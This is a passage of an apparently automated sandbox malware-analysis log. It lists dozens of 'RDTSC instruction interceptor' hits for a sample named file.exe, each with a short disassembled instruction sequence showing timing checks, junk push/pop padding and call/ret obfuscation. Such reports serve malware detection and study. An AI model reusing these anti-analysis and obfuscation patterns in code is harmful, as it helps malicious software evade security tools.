jmp 00007F402CC7E50Ah 0x00000055 push ecx 0x00000056 pop ecx 0x00000057 popad 0x00000058 pop esi 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c jng 00007F402CC7E50Ch 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B6BD second address: 79B6C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C45D second address: 79C461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B6C1 second address: 79B6C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C61C second address: 79C62E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F402CC7E50Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79FA30 second address: 79FA34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79FBBE second address: 79FBC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1A95 second address: 7A1A99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A1CF4 second address: 7A1CF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3C2E second address: 7A3C32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3C32 second address: 7A3C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2D5D second address: 7A2D63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2D63 second address: 7A2E2D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F402CC7E506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jnc 00007F402CC7E50Ah 0x00000013 nop 0x00000014 push dword ptr fs:[00000000h] 0x0000001b mov bh, ch 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 mov eax, dword ptr [ebp+122D1029h] 0x0000002a push 00000000h 0x0000002c push edx 0x0000002d call 00007F402CC7E508h 0x00000032 pop edx 0x00000033 mov dword ptr [esp+04h], edx 0x00000037 add dword ptr [esp+04h], 00000018h 0x0000003f inc edx 0x00000040 push edx 0x00000041 ret 0x00000042 pop edx 0x00000043 ret 0x00000044 mov dword ptr [ebp+122D19E1h], ebx 0x0000004a adc di, F330h 0x0000004f push FFFFFFFFh 0x00000051 push 00000000h 0x00000053 push ebp 0x00000054 call 00007F402CC7E508h 0x00000059 pop ebp 0x0000005a mov dword ptr [esp+04h], ebp 0x0000005e add dword ptr [esp+04h], 00000018h 0x00000066 inc ebp 0x00000067 push ebp 0x00000068 ret 0x00000069 pop ebp 0x0000006a ret 0x0000006b jmp 00007F402CC7E518h 0x00000070 jno 00007F402CC7E507h 0x00000076 nop 0x00000077 jmp 00007F402CC7E517h 0x0000007c push eax 0x0000007d push eax 0x0000007e push edx 0x0000007f jnl 00007F402CC7E515h 0x00000085 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5B18 second address: 7A5B1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5B1C second address: 7A5B22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5B22 second address: 7A5B3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CDD4F63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A60F0 second address: 7A60F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A60F5 second address: 7A6183 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F402CDD4F56h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F402CDD4F61h 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F402CDD4F58h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D1A1Dh], edx 0x00000034 push 00000000h 0x00000036 jmp 00007F402CDD4F5Bh 0x0000003b push 00000000h 0x0000003d call 00007F402CDD4F64h 0x00000042 pop ebx 0x00000043 or ebx, 130475F7h 0x00000049 xchg eax, esi 0x0000004a pushad 0x0000004b jmp 00007F402CDD4F65h 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A8560 second address: 7A8565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA316 second address: 7AA358 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F402CDD4F56h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ebx, dword ptr [ebp+122D2A97h] 0x00000015 push 00000000h 0x00000017 mov di, D822h 0x0000001b push 00000000h 0x0000001d mov bx, C0BEh 0x00000021 xchg eax, esi 0x00000022 pushad 0x00000023 jmp 00007F402CDD4F67h 0x00000028 jp 00007F402CDD4F5Ch 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA358 second address: 7AA372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F402CC7E512h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA372 second address: 7AA378 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A9560 second address: 7A95D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a or dword ptr [ebp+122D3176h], eax 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F402CC7E508h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000015h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D35CDh], edi 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e mov dword ptr [ebp+124546E2h], ebx 0x00000044 mov eax, dword ptr [ebp+122D0ED9h] 0x0000004a jmp 00007F402CC7E50Fh 0x0000004f push FFFFFFFFh 0x00000051 nop 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F402CC7E510h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA378 second address: 7AA37C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A95D1 second address: 7A95F2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CC7E513h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jo 00007F402CC7E50Eh 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB2F3 second address: 7AB37B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push ebx 0x00000007 jmp 00007F402CDD4F5Bh 0x0000000c pop ebx 0x0000000d nop 0x0000000e mov dword ptr [ebp+124546E2h], esi 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 mov ebx, dword ptr [ebp+122D2C27h] 0x0000001d pop edi 0x0000001e jmp 00007F402CDD4F66h 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ebp 0x00000028 call 00007F402CDD4F58h 0x0000002d pop ebp 0x0000002e mov dword ptr [esp+04h], ebp 0x00000032 add dword ptr [esp+04h], 00000015h 0x0000003a inc ebp 0x0000003b push ebp 0x0000003c ret 0x0000003d pop ebp 0x0000003e ret 0x0000003f mov edi, ebx 0x00000041 call 00007F402CDD4F5Fh 0x00000046 pop ebx 0x00000047 xchg eax, esi 0x00000048 push edx 0x00000049 jmp 00007F402CDD4F5Fh 0x0000004e pop edx 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jp 00007F402CDD4F5Ch 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AB37B second address: 7AB37F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA53B second address: 7AA542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA542 second address: 7AA54C instructions: 0x00000000 rdtsc 0x00000002 je 00007F402CC7E50Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AA54C second address: 7AA563 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F402CDD4F5Ah 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AD8A0 second address: 7AD8A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B31E5 second address: 7B31F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F402CDD4F5Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B83F4 second address: 7B8410 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CC7E513h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8410 second address: 7B8416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8416 second address: 7B8453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a pushad 0x0000000b jmp 00007F402CC7E514h 0x00000010 jl 00007F402CC7E511h 0x00000016 jmp 00007F402CC7E50Bh 0x0000001b popad 0x0000001c mov eax, dword ptr [eax] 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jc 00007F402CC7E506h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8453 second address: 7B8457 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8457 second address: 7B845D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B845D second address: 7B8472 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F402CDD4F61h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8472 second address: 7B8488 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F402CC7E506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7B8597 second address: 7B85A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F402CDD4F56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE9A0 second address: 7BE9A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE9A4 second address: 7BE9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE9AA second address: 7BE9C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F402CC7E511h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE9C0 second address: 7BE9D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007F402CDD4F5Ah 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE9D6 second address: 7BE9EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 js 00007F402CC7E506h 0x0000000c pushad 0x0000000d popad 0x0000000e jp 00007F402CC7E506h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD664 second address: 7BD687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F402CDD4F56h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F402CDD4F64h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BD687 second address: 7BD68D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE393 second address: 7BE39D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F402CDD4F56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE4E1 second address: 7BE51C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F402CC7E506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pushad 0x0000000c jno 00007F402CC7E51Dh 0x00000012 jmp 00007F402CC7E50Fh 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE64E second address: 7BE66B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F402CDD4F68h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE66B second address: 7BE679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE679 second address: 7BE6B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F402CDD4F65h 0x00000009 popad 0x0000000a jno 00007F402CDD4F6Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE849 second address: 7BE84D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BE84D second address: 7BE855 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C52CB second address: 7C52FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F402CC7E512h 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jmp 00007F402CC7E510h 0x00000013 pushad 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7902AD second address: 7902D1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F402CDD4F58h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 43DB3AB2h 0x00000011 mov dx, bx 0x00000014 push 3FC2D4B0h 0x00000019 push esi 0x0000001a push eax 0x0000001b push edx 0x0000001c jnp 00007F402CDD4F56h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7902D1 second address: 7902D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7903F4 second address: 7903FE instructions: 0x00000000 rdtsc 0x00000002 je 00007F402CDD4F5Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7903FE second address: 79044C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 pushad 0x00000009 jmp 00007F402CC7E50Fh 0x0000000e push esi 0x0000000f pop esi 0x00000010 popad 0x00000011 pop edi 0x00000012 xchg eax, esi 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F402CC7E508h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d jg 00007F402CC7E506h 0x00000033 mov edx, eax 0x00000035 nop 0x00000036 push edi 0x00000037 je 00007F402CC7E50Ch 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79044C second address: 79045C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 jl 00007F402CDD4F6Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79045C second address: 790460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7904DD second address: 7904E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7904E3 second address: 790535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 jmp 00007F402CC7E516h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F402CC7E511h 0x00000015 mov eax, dword ptr [eax] 0x00000017 pushad 0x00000018 jmp 00007F402CC7E519h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790535 second address: 790539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790539 second address: 790548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push ebx 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790746 second address: 79074A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79074A second address: 790750 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790750 second address: 790756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790B02 second address: 790B69 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F402CC7E506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F402CC7E508h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e and ecx, dword ptr [ebp+122D1B14h] 0x00000034 push 0000001Eh 0x00000036 sbb cl, 00000061h 0x00000039 nop 0x0000003a pushad 0x0000003b pushad 0x0000003c push esi 0x0000003d pop esi 0x0000003e jbe 00007F402CC7E506h 0x00000044 popad 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F402CC7E518h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790B69 second address: 790B8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 je 00007F402CDD4F71h 0x0000000e pushad 0x0000000f jmp 00007F402CDD4F63h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790F2D second address: 790F33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C589C second address: 7C58B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F402CDD4F64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C58B7 second address: 7C58BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5CA4 second address: 7C5CD8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop edx 0x00000008 jbe 00007F402CDD4F68h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F402CDD4F5Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5DF7 second address: 7C5E0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop edi 0x0000000b je 00007F402CC7E54Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5E0C second address: 7C5E10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5E10 second address: 7C5E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F402CC7E519h 0x0000000f jmp 00007F402CC7E50Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C5FA9 second address: 7C5FC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jl 00007F402CDD4F5Ah 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 pop ecx 0x00000012 pushad 0x00000013 jnp 00007F402CDD4F5Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBDB2 second address: 7CBDB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74659F second address: 7465AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
